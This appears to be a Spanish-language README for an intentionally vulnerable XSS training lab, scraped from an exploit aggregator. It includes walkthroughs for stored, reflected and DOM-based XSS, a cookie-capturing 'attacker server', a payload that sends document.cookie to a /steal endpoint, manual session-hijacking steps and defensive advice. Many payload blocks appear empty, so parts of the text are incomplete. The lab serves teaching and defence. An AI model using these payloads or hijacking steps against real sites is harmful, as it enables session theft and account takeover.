Exploit for xss-lab-hack-v1

## https://sploitus.com/exploit?id=F201A753-86DE-57D1-BABB-5568FC0A617E
# 🎯 Laboratorio XSS - Práctica de Pentesting

Un entorno completo para aprender y practicar vulnerabilidades XSS (Cross-Site Scripting) de forma ética y controlada.

## ⚠️ ADVERTENCIA

Este laboratorio contiene **vulnerabilidades intencionales** y debe usarse **ÚNICAMENTE** con fines educativos en un entorno controlado. **NUNCA** despliegues este código en producción o en servidores públicos.

## 📋 Contenido del Laboratorio

Este laboratorio incluye:

- **Aplicación Vulnerable** (Puerto 3000): Una red social con múltiples vulnerabilidades XSS
- **Servidor del Atacante** (Puerto 4000): Sistema para capturar cookies robadas
- **Vectores de Ataque**: Stored XSS, Reflected XSS, DOM-based XSS
- **Escenario Completo**: Desde el ataque inicial hasta el session hijacking

## 🎓 Vulnerabilidades Incluidas

### 1. **Stored XSS (Persistente)**
- Comentarios sin sanitización
- Biografía de usuario vulnerable
- Los payloads se almacenan y ejecutan cada vez que se visualizan

### 2. **Reflected XSS**
- Búsqueda sin validación
- Página de error con parámetros no sanitizados
- Los payloads se ejecutan inmediatamente desde la URL

### 3. **DOM-based XSS**
- Manipulación del DOM con innerHTML
- Sin validación en el cliente

### 4. **Session Hijacking**
- Cookies sin flag HttpOnly
- Robo de sesiones activas
- Secuestro de cuentas sin contraseña

## 🚀 Instalación

### Requisitos Previos

- Node.js v14 o superior
- npm o yarn
- Navegador web (Chrome, Firefox, Safari)
- (Opcional) Burp Suite para análisis avanzado

### Pasos de Instalación

```bash
# 1. Clonar o navegar al directorio del laboratorio
cd lab-hack-1

# 2. Instalar dependencias de la aplicación vulnerable
cd vulnerable-app
npm install

# 3. Instalar dependencias del servidor atacante
cd ../attacker-server
npm install
```

## 🎮 Uso

### Iniciar el Laboratorio

**Terminal 1 - Aplicación Vulnerable:**
```bash
cd vulnerable-app
npm start
```
La aplicación estará disponible en: `http://localhost:3000`

**Terminal 2 - Servidor del Atacante:**
```bash
cd attacker-server
npm start
```
El servidor atacante estará en: `http://localhost:4000`

### Credenciales de Prueba

- Usuario: `admin` / Contraseña: `admin123`
- Usuario: `usuario` / Contraseña: `pass123`

## 📖 Guías de Explotación

### 🎯 Escenario 1: Stored XSS en Comentarios

**Objetivo:** Robar la cookie de sesión de cualquier usuario que vea los comentarios.

**Pasos:**
1. Inicia sesión en `http://localhost:3000`
2. Ve a la sección "Comentarios"
3. Publica este payload:
   ```html
   
   ```
4. Abre el panel del atacante en otra ventana: `http://localhost:4000/panel.html`
5. Recarga la página de comentarios - verás cómo tu propia cookie es robada
6. En un escenario real, cualquier usuario que vea los comentarios sería víctima

**Nota:** Los tags `` NO funcionan porque el lab usa `innerHTML`. Usa event handlers como `onerror`, `onload`, etc.

### 🔍 Escenario 2: Reflected XSS vía URL

**Objetivo:** Crear un enlace malicioso que robe cookies al hacer click.

**Pasos:**
1. Construye esta URL maliciosa:
   ```
   http://localhost:3000/error?message=
   ```
   O usando iframe:
   ```
   http://localhost:3000/error?message=
   ```
2. Envía este link a la "víctima" (en este caso, ábrelo tú mismo)
3. Al cargar la página, el payload se ejecuta inmediatamente
4. Verifica la cookie capturada en `http://localhost:4000/panel.html`

### 👤 Escenario 3: XSS en Perfil de Usuario

**Objetivo:** Inyectar XSS en tu biografía para robar cookies de otros usuarios que vean tu perfil.

**Pasos:**
1. Inicia sesión con el usuario `admin`
2. Ve a la sección "Profile"
3. Actualiza tu biografía con:
   ```html
   
   ```
4. Guarda el perfil
5. Abre otra ventana del navegador (modo incógnito) y autentícate con `usuario`
6. Ve a la sección "Users" - verás una lista de usuarios
7. Haz click en el usuario "admin"
8. El payload se ejecuta y roba la cookie del usuario `usuario`
9. Verifica en `http://localhost:4000/panel.html` que la cookie fue capturada

### 🔓 Escenario 4: Session Hijacking Manual

**Objetivo:** Secuestrar la sesión de otro usuario usando las cookies robadas.

**Pasos:**

**Como Atacante:**
1. Ejecuta cualquiera de los ataques XSS anteriores
2. Ve al panel del atacante: `http://localhost:4000/panel.html`
3. Copia el valor de la `sessionId` capturada

**Secuestrando la Sesión:**
1. Abre el navegador en modo incógnito (o usa otro navegador)
2. Ve a `http://localhost:3000`
3. Abre las DevTools (F12) y ve a la pestaña "Application" o "Storage"
4. En la sección "Cookies" → `http://localhost:3000`
5. Agrega una nueva cookie:
   - **Name:** `sessionId`
   - **Value:** (pega el sessionId robado)
   - **Domain:** `localhost`
   - **Path:** `/`
6. Recarga la página (`http://localhost:3000`)
7. **¡Éxito!** Ahora estás autenticado como la víctima sin conocer su contraseña

**Guía detallada:** Ver `MANUAL_COOKIE_INJECTION.md` para instrucciones paso a paso con capturas de pantalla y troubleshooting.

## 🛡️ Usando Burp Suite

### Configuración Básica

1. Abre Burp Suite
2. Ve a Proxy → Options
3. Asegúrate de que el proxy esté en `127.0.0.1:8080`
4. Configura tu navegador para usar el proxy de Burp
5. Activa el intercept: Proxy → Intercept → Intercept is on

### Técnicas con Burp Suite

#### 1. Interceptar y Modificar Requests

```bash
# Intercepta un POST a /api/comments
# Modifica el body para inyectar XSS:

{"comment":"alert('XSS')"}
```

#### 2. Usar el Repeater

1. Intercepta un request POST a `/api/comments`
2. Click derecho → "Send to Repeater"
3. En el Repeater, modifica el payload y envía múltiples veces
4. Prueba diferentes payloads sin recargar el navegador

#### 3. Usar el Intruder (Fuzzing)

1. Envía un request al Intruder
2. Marca el campo del payload: `{"comment":"§payload§"}`
3. En Payloads, carga una lista de payloads XSS
4. Ejecuta el ataque y analiza las respuestas

### Payloads XSS Recomendados

**IMPORTANTE:** Los tags `` NO funcionan en este lab. Usa event handlers.

```html










) -->
alert(1) -->
fetch(...) -->


alert('XSS')
alert(String.fromCharCode(88,83,83))






```

## 📊 Estructura del Proyecto

```
lab-hack-1/
├── vulnerable-app/          # Aplicación vulnerable
│   ├── server.js            # Backend con vulnerabilidades
│   ├── package.json
│   └── public/
│       ├── index.html       # Frontend
│       ├── app.js           # JavaScript vulnerable
│       └── style.css
│
├── attacker-server/         # Servidor del atacante
│   ├── server.js            # Backend para capturar cookies
│   ├── package.json
│   └── public/
│       ├── panel.html       # Panel de control
│       ├── malicious.html   # Página maliciosa
│       └── instructions.html # Manual del atacante
│
├── docs/                    # Documentación adicional
└── README.md               # Este archivo
```

## 🎯 Objetivos de Aprendizaje

Al completar este laboratorio, deberías ser capaz de:

1. ✅ Identificar diferentes tipos de vulnerabilidades XSS
2. ✅ Explotar XSS para robar cookies de sesión
3. ✅ Realizar session hijacking exitosamente
4. ✅ Usar Burp Suite para análisis y explotación
5. ✅ Comprender la importancia de:
   - Sanitización de inputs
   - Validación en servidor y cliente
   - Flags de seguridad en cookies (HttpOnly, Secure, SameSite)
   - Content Security Policy (CSP)
   - Encoding de outputs

## 🛡️ Medidas de Protección (Para Aprender)

### Cómo Prevenir XSS

1. **Sanitización de Inputs:**
   ```javascript
   // Usar librerías como DOMPurify
   const clean = DOMPurify.sanitize(userInput);
   ```

2. **Encoding de Outputs:**
   ```javascript
   // Escapar HTML entities
   function escapeHtml(text) {
     return text.replace(/[&<>"']/g, function(m) {
       return {'&':'&amp;','':'&gt;','"':'&quot;',"'":'&#39;'}[m];
     });
   }
   ```

3. **Content Security Policy (CSP):**
   ```javascript
   app.use((req, res, next) => {
     res.setHeader("Content-Security-Policy", "default-src 'self'");
     next();
   });
   ```

4. **Cookies Seguras:**
   ```javascript
   res.cookie('sessionId', sessionId, {
     httpOnly: true,  // No accesible desde JavaScript
     secure: true,    // Solo por HTTPS
     sameSite: 'strict' // Protección CSRF
   });
   ```

5. **Usar `textContent` en vez de `innerHTML`:**
   ```javascript
   // Malo
   element.innerHTML = userInput;
   
   // Bueno
   element.textContent = userInput;
   ```

## 📚 Recursos Adicionales

- [OWASP XSS Guide](https://owasp.org/www-community/attacks/xss/)
- [PortSwigger Web Security Academy](https://portswigger.net/web-security/cross-site-scripting)
- [MDN Web Security](https://developer.mozilla.org/en-US/docs/Web/Security)

## 🤝 Contribuciones

Este es un proyecto educativo. Si encuentras formas de mejorarlo o añadir más vectores de ataque, siéntete libre de contribuir.

## 📝 Licencia

Este proyecto es solo para fines educativos. Úsalo de forma responsable y ética.

## ⚡ Troubleshooting

**🚨 ¿Tienes problemas?** Lee la [Guía Completa de Troubleshooting](docs/TROUBLESHOOTING.md)

### Problemas Comunes Rápidos:

#### Las cookies NO llegan al panel
1. Verifica que los servidores estén corriendo:
   ```bash
   lsof -i :3000 -i :4000 | grep LISTEN
   ```
2. Usa el payload correcto (sin errores de sintaxis)
3. Asegúrate de estar logueado antes de inyectar XSS

#### Error: "Uncaught SyntaxError" en Reflected XSS
**Usa este payload:**
```
http://localhost:3000/error?message=fetch(`http://localhost:4000/steal?c=${document.cookie}`)
```

#### El servidor no inicia
```bash
# Matar procesos en los puertos
lsof -ti:3000 | xargs kill -9
lsof -ti:4000 | xargs kill -9

# Reiniciar
./start-lab.sh
```

#### Test rápido de diagnóstico
```bash
./test-flow.sh
```

**Para más problemas, consulta:** [docs/TROUBLESHOOTING.md](docs/TROUBLESHOOTING.md)

---

**¡Feliz Hacking (Ético)! 🎭**

**Recuerda:** El conocimiento es poder. Úsalo para proteger, no para dañar.